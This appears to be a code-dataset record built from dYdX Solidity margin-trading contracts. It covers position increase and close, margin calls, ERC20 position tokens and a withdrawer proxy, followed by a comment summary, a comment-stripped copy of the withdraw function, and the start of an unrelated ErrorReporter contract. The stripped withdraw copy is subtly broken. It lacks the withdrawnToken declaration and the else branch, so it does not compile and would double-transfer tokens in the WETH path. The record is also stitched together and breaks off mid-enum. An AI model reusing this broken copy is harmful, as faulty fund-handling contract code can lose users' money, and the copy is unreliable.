*
* @param positionId Unique ID of the position
* @param addresses Addresses corresponding to:
*
* [0] = loan payer
* [1] = loan taker
* [2] = loan position owner
* [3] = loan fee recipient
* [4] = loan lender fee token
* [5] = loan taker fee token
* [6] = exchange wrapper address
*
* @param values256 Values corresponding to:
*
* [0] = loan maximum amount
* [1] = loan minimum amount
* [2] = loan minimum heldToken
* [3] = loan lender fee
* [4] = loan taker fee
* [5] = loan expiration timestamp (in seconds)
* [6] = loan salt
* [7] = amount of principal to add to the position (NOTE: the amount pulled from the lender
* will be >= this amount)
*
* @param values32 Values corresponding to:
*
* [0] = loan call time limit (in seconds)
* [1] = loan maxDuration (in seconds)
*
* @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken.
* False if the margin deposit will be pulled in owedToken
* and then sold along with the owedToken borrowed from the lender
* @param signature If loan payer is an account, then this must be the tightly-packed
* ECDSA V/R/S parameters from signing the loan hash. If loan payer
* is a smart contract, these are arbitrary bytes that the contract
* will recieve when choosing whether to approve the loan.
* @param order Order object to be passed to the exchange wrapper
* @return Amount of owedTokens pulled from the lender
*/
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
/**
* Increase a position directly by putting up heldToken. The caller will serve as both the
* lender and the position owner
*
* @param positionId Unique ID of the position
* @param principalToAdd Principal amount to add to the position
* @return Amount of heldToken pulled from the msg.sender
*/
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
/**
* Close a position. May be called by the owner or with the approval of the owner. May provide
* an order and exchangeWrapper to facilitate the closing of the position. The payoutRecipient
* is sent the resulting payout.
*
* @param positionId Unique ID of the position
* @param requestedCloseAmount Principal amount of the position to close. The actual amount
* closed is also bounded by:
* 1) The principal of the position
* 2) The amount allowed by the owner if closer != owner
* @param payoutRecipient Address of the recipient of tokens paid out from closing
* @param exchangeWrapper Address of the exchange wrapper
* @param payoutInHeldToken True to pay out the payoutRecipient in heldToken,
* False to pay out the payoutRecipient in owedToken
* @param order Order object to be passed to the exchange wrapper
* @return Values corresponding to:
* 1) Principal of position closed
* 2) Amount of tokens (heldToken if payoutInHeldtoken is true,
* owedToken otherwise) received by the payoutRecipient
* 3) Amount of owedToken paid (incl. interest fee) to the lender
*/
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
/**
* Helper to close a position by paying owedToken directly rather than using an exchangeWrapper.
*
* @param positionId Unique ID of the position
* @param requestedCloseAmount Principal amount of the position to close. The actual amount
* closed is also bounded by:
* 1) The principal of the position
* 2) The amount allowed by the owner if closer != owner
* @param payoutRecipient Address of the recipient of tokens paid out from closing
* @return Values corresponding to:
* 1) Principal amount of position closed
* 2) Amount of heldToken received by the payoutRecipient
* 3) Amount of owedToken paid (incl. interest fee) to the lender
*/
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
/**
* Reduce the size of a position and withdraw a proportional amount of heldToken from the vault.
* Must be approved by both the position owner and lender.
*
* @param positionId Unique ID of the position
* @param requestedCloseAmount Principal amount of the position to close. The actual amount
* closed is also bounded by:
* 1) The principal of the position
* 2) The amount allowed by the owner if closer != owner
* 3) The amount allowed by the lender if closer != lender
* @return Values corresponding to:
* 1) Principal amount of position closed
* 2) Amount of heldToken received by the msg.sender
*/
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
/**
* Margin-call a position. Only callable with the approval of the position lender. After the
* call, the position owner will have time equal to the callTimeLimit of the position to close
* the position. If the owner does not close the position, the lender can recover the collateral
* in the position.
*
* @param positionId Unique ID of the position
* @param requiredDeposit Amount of deposit the position owner will have to put up to cancel
* the margin-call. Passing in 0 means the margin call cannot be
* canceled by depositing
*/
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
/**
* Cancel a margin-call. Only callable with the approval of the position lender.
*
* @param positionId Unique ID of the position
*/
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
/**
* Used to recover the heldTokens held as collateral. Is callable after the maximum duration of
* the loan has expired or the loan has been margin-called for the duration of the callTimeLimit
* but remains unclosed. Only callable with the approval of the position lender.
*
* @param positionId Unique ID of the position
* @param recipient Address to send the recovered tokens to
* @return Amount of heldToken recovered
*/
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
/**
* Deposit additional heldToken as collateral for a position. Cancels margin-call if:
* 0 < position.requiredDeposit < depositAmount. Only callable by the position owner.
*
* @param positionId Unique ID of the position
* @param depositAmount Additional amount in heldToken to deposit
*/
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
/**
* Cancel an amount of a loan offering. Only callable by the loan offering's payer.
*
* @param addresses Array of addresses:
*
* [0] = owedToken
* [1] = heldToken
* [2] = loan payer
* [3] = loan owner
* [4] = loan taker
* [5] = loan position owner
* [6] = loan fee recipient
* [7] = loan lender fee token
* [8] = loan taker fee token
*
* @param values256 Values corresponding to:
*
* [0] = loan maximum amount
* [1] = loan minimum amount
* [2] = loan minimum heldToken
* [3] = loan lender fee
* [4] = loan taker fee
* [5] = loan expiration timestamp (in seconds)
* [6] = loan salt
*
* @param values32 Values corresponding to:
*
* [0] = loan call time limit (in seconds)
* [1] = loan maxDuration (in seconds)
* [2] = loan interest rate (annual nominal percentage times 10**6)
* [3] = loan interest update period (in seconds)
*
* @param cancelAmount Amount to cancel
* @return Amount that was canceled
*/
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
/**
* Transfer ownership of a loan to a new address. This new address will be entitled to all
* payouts for this loan. Only callable by the lender for a position. If "who" is a contract, it
* must implement the LoanOwner interface.
*
* @param positionId Unique ID of the position
* @param who New owner of the loan
*/
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
/**
* Transfer ownership of a position to a new address. This new address will be entitled to all
* payouts. Only callable by the owner of a position. If "who" is a contract, it must implement
* the PositionOwner interface.
*
* @param positionId Unique ID of the position
* @param who New owner of the position
*/
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
// ============ Public Constant Functions ============
/**
* Gets the address of the Vault contract that holds and accounts for tokens.
*
* @return The address of the Vault contract
*/
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
/**
* Gets the address of the TokenProxy contract that accounts must set allowance on in order to
* make loans or open/close positions.
*
* @return The address of the TokenProxy contract
*/
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
// File: contracts/margin/interfaces/OnlyMargin.sol
/**
* @title OnlyMargin
* @author dYdX
*
* Contract to store the address of the main Margin contract and trust only that address to call
* certain functions.
*/
contract OnlyMargin {
// ============ Constants ============
// Address of the known and trusted Margin contract on the blockchain
address public DYDX_MARGIN;
// ============ Constructor ============
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
// ============ Modifiers ============
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
// File: contracts/margin/external/interfaces/PositionCustodian.sol
/**
* @title PositionCustodian
* @author dYdX
*
* Interface to interact with other second-layer contracts. For contracts that own positions as a
* proxy for other addresses.
*/
interface PositionCustodian {
/**
* Function that is intended to be called by external contracts to see where to pay any fees or
* tokens as a result of closing a position on behalf of another contract.
*
* @param positionId Unique ID of the position
* @return Address of the true owner of the position
*/
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
// File: contracts/margin/external/lib/MarginHelper.sol
/**
* @title MarginHelper
* @author dYdX
*
* This library contains helper functions for interacting with Margin
*/
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
// File: contracts/margin/external/ERC20/ERC20Position.sol
/**
* @title ERC20Position
* @author dYdX
*
* Shared code for ERC20Short and ERC20Long
*/
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
// ============ Enums ============
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
// ============ Events ============
/**
* This ERC20 was successfully initialized
*/
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
/**
* The position was completely closed by a trusted third-party and tokens can be withdrawn
*/
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
/**
* The position was completely closed and tokens can be withdrawn
*/
event CompletelyClosed();
/**
* A user burned tokens to withdraw heldTokens from this contract after the position was closed
*/
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
/**
* A user burned tokens in order to partially close the position
*/
event Close(
address indexed redeemer,
uint256 closeAmount
);
// ============ State Variables ============
// All tokens will initially be allocated to this address
address public INITIAL_TOKEN_HOLDER;
// Unique ID of the position this contract is tokenizing
bytes32 public POSITION_ID;
// Recipients that will fairly verify and redistribute funds from closing the position
mapping (address => bool) public TRUSTED_RECIPIENTS;
// Withdrawers that will fairly withdraw funds after the position has been closed
mapping (address => bool) public TRUSTED_WITHDRAWERS;
// Current State of this contract. See State enum
State public state;
// Address of the position's heldToken. Cached for convenience and lower-cost withdrawals
address public heldToken;
// Position has been closed using a trusted recipient
bool public closedUsingTrustedRecipient;
// ============ Modifiers ============
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
// ============ Constructor ============
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
// ============ Margin-Only Functions ============
/**
* Called by Margin when anyone transfers ownership of a position to this contract.
* This function initializes the tokenization of the position given and returns this address to
* indicate to Margin that it is willing to take ownership of the position.
*
* param (unused)
* @param positionId Unique ID of the position
* @return This address on success, throw otherwise
*/
function receivePositionOwnership(
address /* from */,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
// set relevant constants
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this); // returning own address retains ownership of position
}
/**
* Called by Margin when additional value is added onto the position this contract
* owns. Tokens are minted and assigned to the address that added the value.
*
* @param trader Address that added the value to the position
* @param positionId Unique ID of the position
* @param principalAdded Amount that was added to the position
* @return This address on success, throw otherwise
*/
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
/**
* Called by Margin when an owner of this token is attempting to close some of the
* position. Implementation is required per PositionOwner contract in order to be used by
* Margin to approve closing parts of a position.
*
* @param closer Address of the caller of the close function
* @param payoutRecipient Address of the recipient of tokens paid out from closing
* @param positionId Unique ID of the position
* @param requestedAmount Amount (in principal) of the position being closed
* @return 1) This address to accept, a different address to ask that contract
* 2) The maximum amount that this contract is allowing
*/
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
// ============ Public State Changing Functions ============
/**
* Withdraw heldTokens from this contract for any of the position that was closed via external
* means (such as an auction-closing mechanism)
*
* NOTE: It is possible that this contract could be sent heldToken by external sources
* other than from the Margin contract. In this case the payout for token holders
* would be greater than just that from the normal payout. This is fine because
* nobody has incentive to send this contract extra funds, and if they do then it's
* also fine just to let the token holders have it.
*
* NOTE: If there are significant rounding errors, then it is possible that withdrawing later is
* more advantageous. An "attack" could involve withdrawing for others before withdrawing for
* yourself. Likely, rounding error will be small enough to not properly incentivize people to
* carry out such an attack.
*
* @param onBehalfOf Address of the account to withdraw for
* @return The amount of heldToken withdrawn
*/
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
// ============ Public Constant Functions ============
/**
* ERC20 decimals function. Returns the same number of decimals as the position's owedToken
*
* @return The number of decimal places, or revert if the baseToken has no such function.
*/
function decimals()
external
view
returns (uint8);
/**
* ERC20 symbol function.
*
* @return The symbol of the Margin Token
*/
function symbol()
external
view
returns (string);
/**
* Implements PositionCustodian functionality. Called by external contracts to see where to pay
* tokens as a result of closing a position on behalf of this contract
*
* @param positionId Unique ID of the position
* @return Address of this contract. Indicates funds should be sent to this contract
*/
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
// Claim ownership of deed and allow token holders to withdraw funds from this contract
return address(this);
}
// ============ Internal Helper-Functions ============
/**
* Tokens are not burned when a trusted recipient is used, but we require the position to be
* completely closed. All token holders are then entitled to the heldTokens in the contract
*/
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
// remember that a trusted recipient was used
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
// ============ Private Helper-Functions ============
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
// NOTE the payout must be calculated before decrementing the totalSupply below
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
// Destroy the margin tokens
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
// Send the redeemer their proportion of heldToken
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
// If in OPEN state, but the position is closed, set to CLOSED state
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
// ============ Private Abstract Functions ============
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 /* tokenAmount */,
uint256 /* allowedCloseAmount */
);
}
// File: contracts/margin/external/ERC20/ERC20PositionWithdrawerV2.sol
/**
* @title ERC20PositionWithdrawerV2
* @author dYdX
*
* Proxy contract to withdraw from an ERC20Position and exchange the withdrawn tokens on a DEX, or
* to unwrap WETH to ETH.
*/
contract ERC20PositionWithdrawerV2
{
using TokenInteract for address;
// ============ Constants ============
address public WETH;
// ============ Constructor ============
constructor(
address weth
)
public
{
WETH = weth;
}
// ============ Public Functions ============
/**
* Fallback function. Disallows ether to be sent to this contract without data except when
* unwrapping WETH.
*/
function ()
external
payable
{
require( // coverage-disable-line
msg.sender == WETH,
"PayableMarginMinter#fallback: Cannot recieve ETH directly unless unwrapping WETH"
);
}
/**
* After a Margin Position (that backs a ERC20 Margin Token) is closed, the remaining Margin
* Token holders are able to withdraw the Margin Position's heldToken from the Margin Token
* contract. This function allows a holder to atomically withdraw the token and trade it for a
* different ERC20 before returning the funds to the holder.
*
* @param erc20Position The address of the ERC20Position contract to withdraw from
* @param returnedToken The address of the token that is returned to the token holder
* @param exchangeWrapper The address of the ExchangeWrapper
* @param orderData Arbitrary bytes data for any information to pass to the exchange
* @return [1] The number of tokens withdrawn
* [2] The number of tokens returned to the user
*/
function withdraw(
address erc20Position,
address returnedToken,
address exchangeWrapper,
bytes orderData
)
external
returns (uint256, uint256)
{
// withdraw tokens
uint256 tokensWithdrawn = ERC20Position(erc20Position).withdraw(msg.sender);
if (tokensWithdrawn == 0) {
return (0, 0);
}
// do the exchange
address withdrawnToken = ERC20Position(erc20Position).heldToken();
withdrawnToken.transfer(exchangeWrapper, tokensWithdrawn);
uint256 tokensReturned = ExchangeWrapper(exchangeWrapper).exchange(
msg.sender,
address(this),
returnedToken,
withdrawnToken,
tokensWithdrawn,
orderData
);
// return returnedToken back to msg.sender
if (returnedToken == WETH) {
// take the WETH back, withdraw into ETH, and send to the msg.sender
returnedToken.transferFrom(exchangeWrapper, address(this), tokensReturned);
WETH9(returnedToken).withdraw(tokensReturned);
msg.sender.transfer(tokensReturned);
} else {
// send the tokens directly to the msg.sender
returnedToken.transferFrom(exchangeWrapper, msg.sender, tokensReturned);
}
return (tokensWithdrawn, tokensReturned);
}
/**
* Withdraw WETH tokens from a position, unwrap the tokens, and send back to the trader
*
* @param erc20Position The address of the ERC20Position contract to withdraw from
* @return The amount of ETH withdrawn
*/
function withdrawAsEth(
address erc20Position
)
external
returns (uint256)
{
// verify that WETH will be withdrawn
address token = ERC20Position(erc20Position).heldToken();
require(
token == WETH,
"ERC20PositionWithdrawer#withdrawAsEth: Withdrawn token must be WETH"
);
// withdraw tokens
uint256 amount = ERC20Position(erc20Position).withdraw(msg.sender);
WETH9(token).withdraw(amount);
msg.sender.transfer(amount);
return amount;
}
}
|
After a Margin Position (that backs a ERC20 Margin Token) is closed, the remaining Margin Token holders are able to withdraw the Margin Position's heldToken from the Margin Token contract. This function allows a holder to atomically withdraw the token and trade it for a different ERC20 before returning the funds to the holder. erc20Position The address of the ERC20Position contract to withdraw from returnedToken The address of the token that is returned to the token holder exchangeWrapper The address of the ExchangeWrapper orderData Arbitrary bytes data for any information to pass to the exchange return [1] The number of tokens withdrawn [2] The number of tokens returned to the user/ withdraw tokens return returnedToken back to msg.sender take the WETH back, withdraw into ETH, and send to the msg.sender send the tokens directly to the msg.sender
|
function withdraw(
address erc20Position,
address returnedToken,
address exchangeWrapper,
bytes orderData
)
external
returns (uint256, uint256)
{
uint256 tokensWithdrawn = ERC20Position(erc20Position).withdraw(msg.sender);
if (tokensWithdrawn == 0) {
return (0, 0);
}
withdrawnToken.transfer(exchangeWrapper, tokensWithdrawn);
uint256 tokensReturned = ExchangeWrapper(exchangeWrapper).exchange(
msg.sender,
address(this),
returnedToken,
withdrawnToken,
tokensWithdrawn,
orderData
);
if (returnedToken == WETH) {
returnedToken.transferFrom(exchangeWrapper, address(this), tokensReturned);
WETH9(returnedToken).withdraw(tokensReturned);
msg.sender.transfer(tokensReturned);
returnedToken.transferFrom(exchangeWrapper, msg.sender, tokensReturned);
}
return (tokensWithdrawn, tokensReturned);
}
| 5,529,663
|
// File: contracts/ErrorReporter.sol
pragma solidity 0.4.24;
contract ErrorReporter {
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
*/
event Failure(uint256 error, uint256 info, uint256 detail);
enum Error {
NO_ERROR,
OPAQUE_ERROR, // To be used when reporting errors from upgradeable contracts; the opaque code should be given as `detail` in the `Failure` event
UNAUTHORIZED,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW,
DIVISION_BY_ZERO,
BAD_INPUT,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_TRANSFER_FAILED,
MARKET_NOT_SUPPORTED,
SUPPLY_RATE_CALCULATION_FAILED,
BORROW_RATE_CALCULATION_FAILED,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_OUT_FAILED,
INSUFFICIENT_LIQUIDITY,
INSUFFICIENT_BALANCE,
INVALID_COLLATERAL_RATIO,
MISSING_ASSET_PRICE,
EQUITY_INSUFFICIENT_BALANCE,
INVALID_CLOSE_AMOUNT_REQUESTED,
ASSET_NOT_PRICED,
INVALID_LIQUIDATION_DISCOUNT,
INVALID_COMBINED_RISK_PARAMETERS,
ZERO_ORACLE_ADDRESS,
CONTRACT_PAUSED,
KYC_ADMIN_CHECK_FAILED,
KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
KYC_CUSTOMER_VERIFICATION_CHECK_FAILED,
LIQUIDATOR_CHECK_FAILED,
LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
SET_WETH_ADDRESS_ADMIN_CHECK_FAILED,
WETH_ADDRESS_NOT_SET_ERROR,
ETHER_AMOUNT_MISMATCH_ERROR
}
/**
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
BORROW_ACCOUNT_SHORTFALL_PRESENT,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_AMOUNT_LIQUIDITY_SHORTFALL,
BORROW_AMOUNT_VALUE_CALCULATION_FAILED,
BORROW_CONTRACT_PAUSED,
BORROW_MARKET_NOT_SUPPORTED,
BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
BORROW_ORIGINATION_FEE_CALCULATION_FAILED,
BORROW_TRANSFER_OUT_FAILED,
EQUITY_WITHDRAWAL_AMOUNT_VALIDATION,
EQUITY_WITHDRAWAL_CALCULATE_EQUITY,
EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK,
EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED,
LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED,
LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED,
LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH,
LIQUIDATE_CONTRACT_PAUSED,
LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_FETCH_ASSET_PRICE_FAILED,
LIQUIDATE_TRANSFER_IN_FAILED,
LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_CONTRACT_PAUSED,
REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_ASSET_PRICE_CHECK_ORACLE,
SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_ORACLE_OWNER_CHECK,
SET_ORIGINATION_FEE_OWNER_CHECK,
SET_PAUSED_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RISK_PARAMETERS_OWNER_CHECK,
SET_RISK_PARAMETERS_VALIDATION,
SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED,
SUPPLY_CONTRACT_PAUSED,
